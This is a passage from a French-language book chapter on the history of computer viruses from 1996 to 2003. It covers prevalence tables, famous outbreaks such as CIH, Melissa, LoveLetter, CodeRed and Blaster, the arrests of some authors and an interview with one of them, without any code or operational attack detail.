Tableau 2.2 Principaux virus rencontrs en France de 1996 1998 1996 (de janvier septembre) JUMPER-B INT-AA FORM ANTIEXE PARITY BOOT STONED SPIRIT ANTICMOS WM/CONCEPT JUNKIE MONKEY Boot Boot Boot Boot Boot Boot Boot Macro Boot Boot 1997 WM/CAP WM/NPAD WM/MDMA WM/WAZZU JUMPER.B FORM PARITY BOOT ANTIEXE Macro Macro Macro Macro Boot Boot Boot Boot 1998 WM/WAZZU.EC WM/CAP WM/WAZZU.DO WM/INEXIST W32/HLLP.DE TROIE XF/PAIX JUMPER.B FORM PARITY BOOT Macro Macro Macro Macro Fichier Formule Boot Boot Boot

Dunod La photocopie non autorise est un dlit

2.12.4 La naissance de Network Associates Inc.


Alors que les macro-virus sont sur le devant de la scne, McAfee Associates distribue VirusScan depuis plus de 8 ans. Les versions du produit ne cessent dvoluer. Un premier bouleversement majeur se produit en juillet 1994, McAfee sort alors la dernire mise jour de sa version 1. Il sagit de la version 9.30V117 de VirusScan. Elle est annonce dtectant 1939 virus. Si lon comptabilise les variantes, le total de virus dtect slve 2901. Trois mois avant cette V117, en avril 1994, McAfee VirusScan 2.00 voyait le jour. Cette nouvelle version apporta son lot de soucis techniques et de nombreux utilisateurs regrettrent un bon moment lancien produit.

70

Chapitre 2. Historique de linnocence la tentation criminelle

La version 3 vint en 1997. Cette mme anne, en dcembre, tait scelle la naissance de Network Associates1 issue de la fusion des socits McAfee Associates et Network General. Moins dun an plus tard, le 9 Juin 1998, NAI procdait lacquisition de Dr Solomon Corp. Ce regroupement marqua un tournant incontestable et permit VirusScan de devenir lun des meilleurs produits du march.

2.12.5 Le retour des virus programme


Deux ans aprs W95/Boza et paralllement, linvasion des macro-virus, une autre tendance se dessine: les virus sattaquant aux plates-formes Windows sont de plus en plus nombreux. Certains dentre eux ont, sans aucun doute, demand des centaines dheures de recherche, voire un travail dquipe. Leur diffusion ne se limite malheureusement pas certains sites discrets dInternet. Des CD-ROMs et des sites lgaux propagent W32/Marburg et W95/CIH. La majorit des diffusions se fait en juillet 19982. Ces nouvelles techniques dinfection reprsentent aussi un nouveau d pour les auteurs de virus. Cest sans doute la principale raison de cette croissance.
Tableau 2.3 Accroissement du nombre de virus programme W95/W32 entre 1996 et 1999 1996 8 24 1997 73 1998 160 1999

1999 Q1 31 52 Q2 77 Q3

Lune des stars de lpoque resta dans les TOP-10 jusquen 2003, il sagit de W95/ CIH. Les initiales du virus sont celles de son auteur (Chen Ing-hau). Le virus est aussi connu comme le virus Tchernobyl en rfrence a la date de son dclenchement : le 26 avril, date anniversaire de la catastrophe nuclaire. Le virus apparat la mi-juin 98 Taiwan. Des groupes de pirates et quelques sites commerciaux sont infects et comme nous lavons vu le virus se propage alors via des jeux et des magazines. Plus tard, en mars 1999, des ordinateurs neufs Aptiva, vendus par IBM, colporteront galement le virus.
1. Chacun sait que lhistoire est un ternel recommencement. Le 7 juillet 2004, la socit reprit son nom dorigine pour se concentrer sur le dveloppement de systmes de prvention dintrusion tout en continuant dvelopper et vendre ses solutions antivirales. 2. Virus Bulletin, 1998. Anti-CIH-pating the Future, Aot 1998, p2. Marburg Follow-up, Aot 1998, p3. More-burg, Septembre 1998, p4. CD Coverage, Octobre 1998, p2.

2.12 1995 1999 Larrive des virus interprtes

71

Mme sil ninfecte que les chiers .exe de Windows 95 et 98, le virus est particulirement dangereux. Quand il active sa gchette, en gnral le 26 avril, il crase une partie du disque et dtriore le contenu de la mmoire ash de certains Pentium. En rcrivant un octet dans le block de dmarrage de ceux-ci, les machines deviennent inutilisables jusqu la rinitialisation du BIOS. La variante la plus courante contient le texte CIH v1.2 Il sagit de W95/ CIH.1003. Bien dautres variantes ont ensuite vu le jour ; citons : W95/CIH.1010.A et W95/CIH.1010.B qui sactivent le 26 juin et contiennent le texte CIH v1.3 TTIT. W95/CIH.1019 qui sactive le 26 de chaque mois et contient le texte CIH v1.4 TATUNG.

2.12.6 Rabbit : Le lapin !


Avec larrive de Windows 98, un nouveau langage autonome intitul Visual Basic Scripting Edition, VBScript en abrg, est propos pour aider la conception de scripts. Permettant entre autre la cration de suites de commandes se rapprochant du traitement par lots du DOS (fichiers .bat), il dtrna rapidement ce dernier. Driv de Visual Basic for Applications (VBA), lui-mme issu de Visual Basic, il tait en fait apparu avec la mise jour SR2 de Windows 95. Alors quil fallait lorigine en demander linstallation, il se retrouve maintenant mis en place par dfaut dans les nouvelles versions de Windows. Puissant, simple dutilisation et reposant sur du code source en clair ; tout un chacun peut voir et modier le code des scripts quil rencontre. Dun point de vue viral, le langage est dabord utilis comme technique dappoint par les auteurs de macro-virus. Cet artice leur permet dactiver de nouvelles fonctions malveillantes et de contourner des processus de scurit tels que ceux introduits par Ofce-97 SR1. Il est ainsi possible dexcuter des scripts FTP (W97M/ Groov) ou dinteragir avec des outils de messagerie (W97M/Coldape.A). Les premiers virus purement VBScript apparaissent en 1998. Le nom de famille de ces nouveaux venus est VBSV. En raison de leurs capacits de propagation hors du commun, un nom dalias plus parlant fut donn lun dentre eux : Rabbit (en franais : lapin)1. De 1999 2001, leur nombre augmenta paralllement la gnralisation de ce nouveau langage.

Dunod La photocopie non autorise est un dlit

1. MUSSTOPF G, (1999), A New Type of Viruses, or Looking Back in Rage at ?, EICAR News, janvier 1999, Volume 6, numro 1.

72

Chapitre 2. Historique de linnocence la tentation criminelle

2.13 1999 2000 LINVASION DES MASS-MAILERS


Durant cette priode, les macro-virus sont toujours dactualit, ils laissent cependant de plus en plus la place aux virus de script (VBScript et JavaScript) et aux virus programmes.
Tableau 2.4 Principaux virus rencontrs en France en 1999 et 2000 1999 W32/SKA@M WM/CAP.A W97M/MARKER.C W97M/CLASS.D W97M/ETHAN.A W32/PRETTYPARK@MM W95/CIH.1003 W97M/MELISSA.A@MM 097M/TRISTATE.C W32/EXPLOREZIP.worm@M W95/W32 Macro Macro Macro Macro W95/W32 W95/W32 Macro Macro W95/W32 JS/KAK@M VBS/LOVELETTER.A@MM VBS/STAGES.A@MM W32/NAVIDAD@M W32/SKA@M VBS/LOVELETTER.AS@MM W97M/ETHAN.A W97M/MARKER.C W32/MTX@M W32/HYBRIS.B@MM 2000 Script Script Script W95/W32 W95/W32 Script Macro Macro W95/W32 W95/W32

En cette n de sicle, lutilisation des disquettes se rare ; les changes informatiques par e-mail prennent le relais et les virus sengouffrent eux aussi dans cette nouvelle voie. Ces nouveaux venus que lon nommera plus tard mass-mailers vont tout dabord se propager par lentremise dune pice jointe ; ils sauront vite sen dispenser.

2.13.1 Happy 99
Le premier virus mondialement connu qui exploite la messagerie lectronique apparat en janvier 1999. Il est franais et le public le surnomme Happy-99. Son nom officiel est W32/Ska@M. Il arrive en tant que pice jointe et, une fois install sur la machine, sexpdie de lui-mme comme un doublon, chaque fois quun courrier est mis vers un destinataire. Lanimation mise en uvre lors du double-clic sur la pice jointe infecte reprsente un feu dartifice. Il lui faudra plus de 6 mois pour faire son premier tour du monde. Un an aprs sa mise en circulation, W32/Ska@M faisait toujours parti du TOP-10 mondial. Son auteur, Spanska, est franais. Il en explicite le code dans le numro 4

2.13 1999 2000 Linvasion des MASS-MAILERS

73

de la publication lectronique du groupe 29A. Dans un texte de plusieurs pages en anglais, il tente galement de se justier. Jen ai retenu, puis traduit, le contenu suivant : Cest un virus car il infecte wsock32.dll. Cest un ver car il se propage via le courrier lectronique et les groupes de discussion. Cest un cheval de Troie car il cache sa vraie nature et exige une certaine participation de la part de lutilisateur cibl. Jai conu ce code la suite dun constat manifeste: de nos jours, les gens changent plus de courrier lectronique via Internet que de programmes ou de disquettes. Si nous souhaitons obtenir le plus grand nombre dinfections dans la nature, nous devons revoir nos techniques actuelles. Lunit minimale dinfection ne stablie plus au niveau de lexcutable mais au niveau de la machine interconnecte. Il nest nullement utile dinfecter 500 fichiers sur une mme machine. Un seul suffit. Pensez alors tous les nouveaux venus sur lInternet, tous ceux qui ont achet un ordinateur pour Nol, et qui ignorent tout de la scurit. Ces victimes parfaites forment un groupe suffisamment grand pour esprer une infection massive. Jaffirme que les virus utilisant Internet seront les programmes autoreproducteurs de demain. En effet, 1999 fut lanne des vers. Mon virus est conu pour ne rien dtruire sur les machines infectes. Il sagit juste dun sympathique autostoppeur qui utilise votre connexion Internet pour voyager. Pour vous remercier du voyage, il vous offre une petite animation. Jai mme pris soin de rendre ce ver trs facile liminer par un utilisateur de comptence moyenne nayant pas dantivirus. Ceci est en contradiction avec les rgles gnrales lies lcriture des virus. Pour moi, Happy est un morceau de code exprimental, qui savra fonctionner tonnamment bien, encore mieux que je le pensais. lpoque ou jcris ceci, Happy99 a un an dage. La chose drle, cest quil continue se propager, mme sil le fait plus lentement. Cest vraiment fascinant de constater que toutes ces infections sont issues de 4 ou 5 courriers envoys de pauvres victimes soigneusement choisies aprs avoir tudi, durant une semaine, leur comportement dans les groupes de discussion et de cyberbavardage ou ils taient rgulirement prsents (fondamentalement, leur connaissance informatique tait faible, ils taient curieux, aimaient changer des cartes postales lectroniques ou des plaisanteries: il tait alors trs facile de les amener excuter Happy par le biais dun social engineering basique). Parfois je souhaiterai connatre le cheminement total de linfection, comprendre comment toutes ces ramifications ont dmarr et se sont dveloppes, apprhender chacun des courriers changs et suivre lintgralit du parcours qui permit certains dentre eux de me revenir la fin de leur priple. Il est fascinant pour penser aux voyages dHappy tandis que des ides sont changes par des personnes au travers le monde. Cest comme un petit morceau de bois drivant sur le flot des informations et suivant les routes mises sa disposition. Vous pouvez rire, mais je trouve ceci trs potique. Mais tout cela dmontre une autre chose. Les virus nont pas besoin dtre trs complexes pour tre efficaces. Techniquement parlant, Happy99 est trs simple. Pas de

Dunod La photocopie non autorise est un dlit

74

Chapitre 2. Historique de linnocence la tentation criminelle

cryptage, pas de polymorphisme, aucune complexit pour se maintenir rsident en mmoire, aucune astuce particulire. Fondamentalement, il sagit juste dune dll stupide, implante dans le systme par un dropper pour dtourner certaines API wsock32. Cest tout.

2.13.2 Melissa
En 1997, Dr Solomons Software mettait en service un outil de recherche automatique de virus intitul Virus Patrol. Toujours en service, ce robot, analyse en permanence les contributions USENET et examine celles qui contiennent du code excutable. Le rsultat est mis la disposition de la communaut anti-virale qui intgre ainsi de nombreux nouveaux virus ou chevaux de Troie chaque mois. Cest ainsi que fut dcouvert sur un NewsGroup caractre sexuel, le vendredi 26 mars 1999, un chier list.doc suppos contenir une liste de mots de passe permettant datteindre gratuitement des sites pornographiques normalement payants. Dans une belle unanimit, lensemble des professionnels se mit au travail et proposa dans les heures qui suivirent des mises jour pour la dtection et pour lradication de ce nouveau venu. Protant de ce rpit et utilisant une nouvelle technique de propagation le virus t rapidement le tour de la plante. Lalerte passe, tout le monde sest accord pour dire navoir jamais rencontr jusque l, un virus se propageant aussi rapidement. Le virus fut baptis W97M/Melissa. Il se prsentait sous la forme dun chier attach se propageant automatiquement via Outlook-98. Le sujet du message tait : Important Message From <nom> Ou <nom> tait le nom complet de lutilisateur qui tait cens en tre lexpditeur. Le corps du message contenait : Here is that document you asked for dont show anyone else ;-) son ouverture, le virus interrogeait la liste des contacts du Carnet dAdresse Global et gnrait un message quil envoyait simultanment aux 50 premires personnes de cette liste. Plusieurs commentaires intrigurent les chercheurs, lun deux, inscrit dans le code, disait : WORD/Melissa written by Kwyjibo. Works in both Word 2000 and Word 97. Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! Word -> Email | Word 97 <--> Word 2000 its a new age! Si un chier infect tait ouvert alors que les minutes de lheure taient gales au jour du mois le texte suivant tait insr dans le document courant :

2.13 1999 2000 Linvasion des MASS-MAILERS

75

Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Games over. Im outta here. On dcouvrit vite que les noms Kwyjibo et Outa taient ceux de personnages de la srie TV : Les Simpsons. Une fois dmasqu, lauteur prsum indiqua que le nom du virus lui avait t inspir par une strip-teaseuse de Floride quil admirait Grce aux informations fournies par Virus Patrol, la traque ne dura que quelques jours. Les soupcons se conrmrent lorsque les enquteurs comparrent le GUID (Global Unique Identier) de lordinateur du suspect avec celui enregistr dans le chier original diffus sur Internet. Lide avance par Microsoft aprs la dcouverte de lexistence de cet identiant par Robert Smith1 2 tait damliorer le service en facilitant le travail des supports techniques et des outils de mise jour automatique. Les vives critiques mises lencontre de Microsoft ont depuis entran sa suppression des divers documents crs depuis la suite Ofce. David L. Smith, g de 30 ans, fut arrt dans le New Jersey (tats-Unis) par les autorits fdrales le 1er avril 1999. Sa condamnation fut prononce en mai 2002. Une premire peine, de 20 mois de prison, fut mise par un juge fdral. Une seconde, de dix ans demprisonnement, le fut par un tribunal du New Jersey. En dnitive, David Smith ne purgera que la premire peine. Ce GUID t couler beaucoup dencre. De nombreuses personnes recherchrent dans danciens virus cette mme signature. On souponna rapidement David de stre cach sous le pseudonyme de Vicodines, auteur de nombreux virus dont W97M/ Class.A. Mme si aucune preuve formelle na pu tre apporte publiquement, il semble acquis aujourdhui que ces 2 personnes nen font quune.

Dunod La photocopie non autorise est un dlit

2.13.3 LoveLetter
En mai 2000, VBS/LoveLetter.A@MM3 semait une panique plantaire. Connu galement sous le nom de I Love You ou de Love Bug, il fut cr aux Philippines. Selon certaines sources, 45 millions de mails infects circulrent en un mois4 et, durant cette priode, 2 3 millions de personnes auraient cliqu sur la pice jointe en infectant leur machine et en participant la propagation gnrale.

1. MARKOFF, John (7 mars 1999), Microsoft to Alter Software in Response to Privacy Concerns. Document disponible ladresse : http://www.nytimes.com/library/tech/99/03/biztech/articles/07soft.html. 2. Robert Smith, ne pas confondre avec David, lauteur de Melissa ! 3. FITZGERALD, Nick (2000a), When Love came the Town, Virus Bulletin, juin 2000, pp 6-7. 4. Les chiffres les plus alarmistes annoncent 40 millions dordinateurs : (http://www.kasperskylabs.com/news.html?id=101).

76

Chapitre 2. Historique de linnocence la tentation criminelle

La premire socit anti-virale recevoir le virus tait situe aux Philippines. Il tait en France 1 h du matin; ctait le 4 mai 1999, dans la nuit du mercredi au jeudi. Rien dalarmant cependant ne se produisit avant 7 h ; mais, vers 10 h, de nombreux groupes de discussion taient envahis et le virus sattaquait paralllement au courrier lectronique. Sil fallut plus de 6 mois W32/Ska@M et 2 jours W97M/Melissa.A@MM pour faire son tour du monde, quelques heures sufrent ce dernier. Ma premire alerte en France survint vers 9 h 45; ce grand compte franais comptabilisait dj 4.500.000 mails infects. Ce jour l certains supports techniques europens reurent entre 6000 et 10000 appels. Devant linsistance des journalistes, le CLUSIF annona (trop rapidement) que seul 10 % des grands comptes franais avaient t srieusement touchs. Pour ma part, jestime que 70 80 % des entreprises franaises ont rencontr le virus. Mme sans rel dommage, elles ont t perturbes. Nombre dentre elles ont ferm leur messagerie pour un ou plusieurs jours. La soudainet de lalerte a entran lactivation de procdures durgence. Beaucoup dentreprises ne semblaient pas tre prpares cela. Ils mconnaissaient parfois les procdures automatiques de tldistribution des mises jour. Cet tat de fait a sans aucun doute aggrav les perturbations et les pertes nancires. Pour certains, les pertes annonces semblrent exagres : 47 milliards de Francs, 900 Francs par PC infect. Elles intgraient tous les frais annexes dont le temps perdu li larrt des messageries et lintervention des techniciens. Mme le temps pass raconter sa propre exprience sur son lieu de travail fut comptabilis. Son auteur prsum, Onel de Guzman, un tudiant en informatique de lAma Computer College, fut arrt quelques jours plus tard, puis libr en labsence de loi locale rprimant ce type dactivit. Le dpartement de justice de son pays estima quaucune charge ne pouvait tre retenue contre lui. Le 13 juillet 2000, une dpche indiquait quil tait embauch Manille par une socit britannique implante dans le quartier daffaires de Makati. Dans son numro 529 (21 dcembre 2000), la revue Courrier International reprit un article du Panorama de Milan ; le journaliste Cristiano Bortone1 y interroge le suspect qui dfend le principe dun accs universel et gratuit. Il dnonce aussi la mainmise des grands groupes informatiques : Q : Internet peut-il vraiment servir amliorer les conditions de vie dans les tats pauvres ? R : Ici, aux Philippines, il y a tellement de gens qui nont rien ! Comment peut-on penser Internet quand on a peine de quoi manger ? Ainsi, comme sujet de mmoire, javais pens une rflexion sur le moyen de garantir laccs gratuit Internet pour
1. BORTONE Cristiano (21/12/2000), Le pirate qui voulait dire I love you , Courrier International. Numro 529. Document disponible ladresse : http://www.courrierinternational.com/numeros/529/052908301.asp?TYPE=archives.

2.13 1999 2000 Linvasion des MASS-MAILERS

77

Dunod La photocopie non autorise est un dlit

tous. Avec la navigation gratuite, ce ne serait plus forcment ncessaire daller lcole, parce que le rseau est en mesure de fournir tous les moyens dducation. Les gens pourraient viter davoir payer des droits dentre luniversit (dans notre pays, ils sont trs levs). On naurait plus besoin de sinscrire que pour quelques matires pratiques ; le reste, on lapprendrait avec Internet. Mais les polmiques dclenches par mes propositions aprs lexplosion du virus "I love you" ont t pour moi un vritable choc. Je ne mattendais pas un tel toll. Q : Aprs laffaire "I love you", les Philippines ont vot prcipitamment une loi sur les crimes informatiques. Pensez-vous quelle puisse limiter le dveloppement du Net ? R : Je pense que le principe dune loi qui rglemente lutilisation du rseau est juste. Mais tout ce qui limite lutilisation dInternet en limite aussi forcment le dveloppement. Cest ce qui va se passer ici. Lorsque la loi sera promulgue, les possibilits dapprentissage et de recherche seront de fait limites. Dans le domaine de la scurit, par exemple : partir du moment o la loi interdit dtudier les virus, mme ceux qui existent dj, elle impose une limite lvolution de nouveaux programmes, qui ne sont pas ncessairement destructeurs. Q : Mais la Toile est-elle aujourdhui vritablement aussi vulnrable ? R : Bien sr. Aujourdhui, Internet fournit et enseigne quasiment tout : comment on y entre, comment on y navigue, comment faire du hacking. Tout cela est archi-connu. Il y a ceux qui fournissent sans problme tous les instruments pour casser les codes et les barrires daccs cest relativement simple. Mais il y a aussi une autre vrit, que personne ne dit : aujourdhui, Internet est utilis principalement pour faire des affaires, de largent. Alors, beaucoup de socits informatiques abaissent volontairement les barrires de scurit. Si la scurit est faible, les hackers trouvent plus intressant de construire leurs propres programmes en utilisant ce systme. Mais, en mme temps, sans le savoir, ils laident voluer. Lexemple typique est celui de Microsoft, qui, pendant des annes, sest amlior prcisment avec laide des hackers. Linux, au contraire, dcourage les pirates avec une scurit trop stricte et a fini par rester en arrire. mon avis, les hackers sont aujourdhui la future gnration de programmeurs. Reste le fait que certains pourraient profiter de la faiblesse du rseau pour lancer des attaques politiques ou terroristes. Tout le monde, au-del des apparences politiques ou idologiques, pourrait faire quelque chose de ce genre. Il suffit dune bonne connaissance de lordinateur et peu importe si la personne est un terroriste la solde de tel ou tel gouvernement ou un simple tudiant. Quant aux vrais hackers, je ne crois pas quils aient pour de bon lintention de nuire. Leur seule erreur est davoir une grande envie dapprendre et de dcouvrir de nouvelles frontires. Q : Comment tait lambiance lAma Computer College, votre universit ? R : LAma savait se vendre comme une cole de grande qualit. Mais, une fois que jy suis entr, je me suis aperu que lenseignement tait lmentaire et ne convenait pas aux tudiants avancs comme moi. Mes camarades taient des dbutants, les professeurs extrmement jeunes. Pendant cinq ans, je ny ai pas attach dimportance : mon but tait dobtenir un diplme. Les choses qui mintressaient, je continuais les apprendre tout seul.

78

Chapitre 2. Historique de linnocence la tentation criminelle

Q : Qui taient les Grammersoft ? R : Les Grammersoft ! Ils sont im-menses ! Ils sont uniques. Je crois que jai t la dernire recrue du groupe. cette poque, jtais encore un dbutant, et lide de partager toutes les connaissances informatiques avec des gens aussi forts ma emball. Q : Comment ce groupe fonctionnait-il ? R : On la dcrit comme un cercle clandestin. En ralit, ctait une simple bande damis. On se disait tout ce qui nous passait par la tte, on samusait, on se moquait les uns des autres, sans problme. Nous tions vraiment forts. Nos recherches en informatique taient sans limites. Q : Ladministration de lcole tait-elle au courant de lexistence de ce groupe ? R : Bien sr ! Nous, les Grammersoft, tions clbres sur tout le campus comme rdacteurs de thses : nous aidions les tudiants en difficult les crire. Aprs "I love you", tout a chang. Q : En quel sens ? R : Eh bien, avant ce fameux 4 mai, je voyais presque tous les jours les Grammersoft et ma petite amie. Je passais la journe me promener dans les centres commerciaux. Personne ne me connaissait, ni ne marrtait en disant dune voix forte : "Eh toi ! je te connais, tu es celui qui a mis un virus dans les ordinateurs." Maintenant, je reste presque tout le temps la maison. La seule chose qui compte pour moi, cest de prsenter un autre mmoire lAma et dobtenir mon diplme, comme me la toujours conseill ma mre. lpoque de cette interview, plus de 60 variantes du virus taient rpertories. Limplmentation immdiate de modules de dtection gnrique ou heuristique permit cependant de dtecter la majorit dentre-elles ds leur apparition.

2.13.4 Kak, le Cagou contre Bubbleboy


En octobre 1999 un nouvel exploit technique est accompli. JS/Kak@M dmontre quavec le courrier lectronique un virus peut saffranchir dune pice jointe. Au format HTML, une simple prvisualisation suffit infecter la machine. Au moment de sa dcouverte (je reois ma premire souche virale le 22 octobre 1999), nous lajoutons dans nos bases de signature et le phnomne passe mdiatiquement inaperu. La primeur de cette technique dinfection sera ensuite faussement attribue VBS/Bubbleboy@MM, et son auteur Zulu, au dbut novembre de la mme anne. Sans pice jointe, le courriel semble donc dun premier abord inoffensif. Sous Outlook Express, une simple prvisualisation est pourtant sufsante pour permettre au virus dinfecter lenvironnement. Il utilise une faille dInternet Explorer1 lui permettant de sexcuter silencieusement malgr une conguration des options de scurit de niveau leve.
1. MS99-032 : Scriplet.Typelib/Eyedog.

2.13 1999 2000 Linvasion des MASS-MAILERS

79

Le virus sintgre alors comme signature par dfaut dOutlook Express. Il est ainsi rexpdi avec tout nouveau mail. Lauteur du virus ne fut jamais ni recherch, ni inquit alors que Kak grimpa mois aprs mois les chelons des TOP-10 mondiaux.

2.13.5 VBS/Timofonica
LoveLetter fit beaucoup dmules et les virus de script se propageant via le courrier lectronique et le carnet dadresses Outlook furent vite lgion. En juin 2000, VBS/Timofonica@MM nest quun mass-mailer de plus. Il retient cependant lattention du public car il est capable denvoyer des messages SMS (Shorts Messaging Service) aux utilisateurs du service de portable espagnol Telefonica sils sont abonns au service correo.movistar.net. Chaque numro est choisi alatoirement ; la slection dmarre par le choix dun prxe tir dans une liste 8 entres. Le virus ajoute ensuite 6 nombres au hasard puis envoie un minimessage en espagnol dnigrant la compagnie Telefnica. Le sujet du message tait TIMOFONICA. Le terme timo voulant dire tricherie en espagnol, on comprend alors le choix de lauteur.

2.13.6 Autour des PDA PalmOS/Phage


VBS/Timofonica ne se transmettait absolument pas par les tlphones. Il ne fut donc pas le reprsentant dune nouvelle varit de virus pouvant sattaquer aux fonctions programmables des nouveaux tlphones mobiles et ordinateurs de poche. Ce que lon voit cette poque ne sont que des programmes canulars ou des chevaux de Troie. Certains affichent des messages dautres modifient le rtro clairage. Le plus connu est W32/Sabia.prc. Comme pour les exemples prcdents, il ne sagit pas dun virus mais dun programme du type carte de vux install par un virus conventionnel : W32/Sabia@M, alias MTX_II. Le premier virus thoriquement capable de se propager dans lenvironnement PalmOS fut PalmOS/Phage. Fonctionnant selon la mthode du recouvrement, il fut dcouvert en aot 2000 et rapidement dtectable. La version initiale du virus, autrement dit son programme dinstallation (dropper) se prsente sous la forme dun chier avec une licne de lmulateur GameBoy Liberty. Il se nomme Crack 1.1. Le chier .prc correspondant porte le nom de liberty_1_crack.prc et cherche se faire passer pour une version pirate de lmulateur. La rumeur veut quAaron Ardiri lditeur du vritable mulateur GameBoy Liberty en soit lauteur.

Dunod La photocopie non autorise est un dlit

80

Chapitre 2. Historique de linnocence la tentation criminelle

2.14 2001 2003 UN DISCRET CHANGEMENT DE CAP


laube du nouveau millnaire, les techniques de dtection gnrique et heuristique sont de plus en plus efficaces faces aux virus de macro et de script. Ceux ci vont donc se faire de plus en plus rare et finir par disparatre. A contrario, les systmes dexploitation Windows redeviennent des terrains de prdilection pour les auteurs de virus. Toutes les techniques de furtivit et de cryptage qui sappliquaient la plate-forme DOS sont maintenant actualises pour fonctionner dans ces environnements. La tendance sapplique aussi aux mass-mailers : les virus programme (W32) prennent le dessus.
Tableau 2.5 Principaux virus rencontrs en France de 2001 2003 2001 W32/Sircam@MM W32/Badtrans.B @MM W32/Magistr.B@MM VBS/VBSWG.X@MM (alias Homepage) W32/ Magistr.A@MM JS/Kak@M W32/Hybris.D@MM VBS/Tam.A@MM W32/Navidad.B@M W32/Badtrans.A @MM W32 W32 W32 Script W32 Script W32 Script W32 W32 2002 W32/Klez@MM W32/Bugbear @MM W32/Sircam@MM W32/Yaha@MM W32/ Magistr@MM W32/Badtrans@MM W32/Frethem @MM W32/Hybris@MM W32/MyParty @MM VBS/Tam@M W32 W32 W32 W32 W32 W32 W32 W32 W32 Script 2003 W32/Mimail @MM W32/Sobig@MM W32/Klez@MM W32/Bugbear @MM W32/Yaha@MM W32/Fizzer@MM W32/Sircam @MM W32/ Magistr@MM W32/Swen@MM W32/Lirva@MM W32 W32 W32 W32 W32 W32 W32 W32 W32 W32

Plus complexes, ces virus mettrent en uvre des processus rendant plus difcile la dtection. Au travers dun mme chier, ils peuvent largir leurs techniques de propagation. Chaque mois, de nouvelles vulnrabilits sont mises jour. Les auteurs de virus ne les dcouvrent pas eux-mmes mais sempressent de les utiliser ds quelles sont divulgues. Elles ne sappliquent gnralement pas aux virus changs par courrier

2.15 Lt 2003 : ce sont principalement les particuliers qui trinquent !

81

lectronique qui restent de conception banale. Elles donnent, par contre, naissance de vritables vers dans la ligne de ceux des annes 80. Le premier dentre eux, W32/CodeRed.worm.A voit le jour en juillet 20011. Uniquement en mmoire dans sa version initiale, il infecte, en 24 heures, 350.000 machines autour du monde. Cest beaucoup plus que Loveletter dans le mme laps de temps. Un an et demi aprs, le 25 janvier 2003, apparat W32/SQLSlammer.worm2. Les leons apprises nont pas vraiment servi. Le patch de scurit bloquant la faille est connu depuis juillet 2002 mais de nombreuses machines sont toujours vulnrables. En 10 minutes, 90 % de ces machines sont atteintes. Selon les sources cest entre 75.000 et 350.000 ordinateurs qui furent infectes. Le chiffre le plus lev est sans doute le plus probable. En septembre 2001, W32/Nimda@MM3 est le premier virus pouvant se prvaloir du titre de virus Internet. Ses modes de propagation multiples lui permettent une propagation optimale via, la messagerie, les serveurs IIS4, les partages rseaux et au travers des consultations web. Il infecte les serveurs mais galement les stations de travail. Cette priode est galement celle des premiers virus lis au mode dchange poste poste (P2P peer to peer). En 2000 et 2001 quelques tentatives isoles avaient cibl Gnutella sans grand succs. la n 2004, plusieurs milliers de ces virus sont connus. Le premier de cette nouvelle vague, en mai 2002, fut baptis W32/Benjamin.worm. Toutes ces nouveauts saccompagnent dun changement majeur qui passe un premier temps inaperu du public. De nombreux virus tels que W32/Sircam@MM et W32/Bugbear@MM, transportent des portes drobes et des outils de collecte dinformation. Il faudra attendre lt 2003 pour en mesurer lampleur.

Dunod La photocopie non autorise est un dlit

2.15 LT 2003 : CE SONT PRINCIPALEMENT LES PARTICULIERS QUI TRINQUENT !


La seconde quinzaine daot 2003, est riche en vnements viraux. Coup sur coup, plusieurs virus troublent les vacances : 11 aot 2003 : W32/Blaster.worm.A (alias Lovsan). 18 aot 2003 : W32/Sobig.F@MM. 18 aot 2003 : W32/Nachi.worm (alias Welchia).

1. Vulnerabilit MS01-033. 2. Vulnerabilit MS02-039. 3. Vulnerabilits MS01-20 et MS01-44. 4. IIS : INTERNET Information Server. Serveur web dvelopp par MICROSOFT et totalement intgr Windows.

82

Chapitre 2. Historique de linnocence la tentation criminelle

19 aot 2003 : W32/Dumaru.A@MM. 18 septembre 2003 : W32/Swen@MM. Blaster et Sobig.F sont les principales vedettes de cette priode. Le premier exploite une nouvelle vulnrabilit du systme dexploitation Microsoft1. Dans la ligne de Codered et Slammer, sa propagation est automatique. Elle est qualie dexplosive. Le second transite via la messagerie lectronique. Tributaire de chaque destinataire qui doit double-cliquer sur la pice jointe pour ractiver le virus il se propage moins rapidement mais plus longuement. Il est toujours difcile destimer le nombre de machines touches. Avec Sobig.F, certaines sources en annoncent plus de 13 millions au bout de quelques semaines2. Il nen est rien ; et mme si la Socit Messagelabs indique que durant la premire semaine 22 millions de messages infects furent en circulation, il est plus raisonnable destimer que moins dun million de machines sont effectivement atteintes ces 7 premiers jours. Ce chiffre devient rapidement dnitif puisque Sobig.F est programm pour arrter sa course le 10 septembre 2003. De son cot, Blaster devient la bte noire des administrateurs rseaux. En moins dune journe il touche entre 1 et 2,5 millions de PC. La faille lie sa propagation tant parfaitement dcrite depuis la mi-juillet 2003, les concepteurs de produit antivirus attendaient un virus tel que celui-ci. Certains dentre eux avaient une semaine avant lattaque intgr des dtections gnriques. Avec un bon anti-virus jour, la protection tait donc efcace. Ceci nempcha pas la propagation massive du virus. Outre W32/Sobig.F@MM, un second virus apparat le 18 aot. W32/Nachi.worm, que certains dnommrent le tueur de Lovsan nest en fait quun virus de plus. liminant imparfaitement son concurrent et tentant dinstaller incorrectement le correctif MS03-026, il ne fait quaugmenter la perturbation du moment. Lavant dernier virus de la liste est W32/Dumaru.A@MM. Il apparat durant cette mme priode, mais cest plus tard quil monte en puissance. Tout comme Sobig et Blaster il touche plus fortement les PC familiaux que ceux des entreprises. La rigueur des procdures de mise jour de lanti-virus et des correctifs lis au systme dexploitation est souvent absente chez les particuliers. leur dcharge, mme quips de lADSL, ils ont souvent des difcults dans la ralisation de ces tches. Quant lutilisation dun pare-feu personnel, nen parlons pas !!

1. MS03-026 : Buffer Overrun In RPC Interface Could Allow Code Execution (823980). 2. Le chiffre de 20 millions dordinateurs infects en Chine a fait lobjet de plusieurs communiqus : http://www.news.com.au/common/story_page/ 0%2C4057%2C7058237%255E15306%2C00.html. http://h50055.www5.hp.com/smb/au/resources/virus.aspx.

2.16 Janvier 2004 : W32/MYDOOM.A@MM

83

Le dernier de la srie est W32/Swen@MM. Cest nouveau les particuliers qui en sont la principale victime. Se faisant, lui aussi, passer pour une mise jour de Microsoft, il a une interface graphique trs convaincante. Elle guide la victime travers linstallation factice dun soi-disant correctif. Microsoft explique quil ne distribue jamais de correctifs au travers du courrier lectronique1. De nombreuses personnes se laissent pourtant prendre.

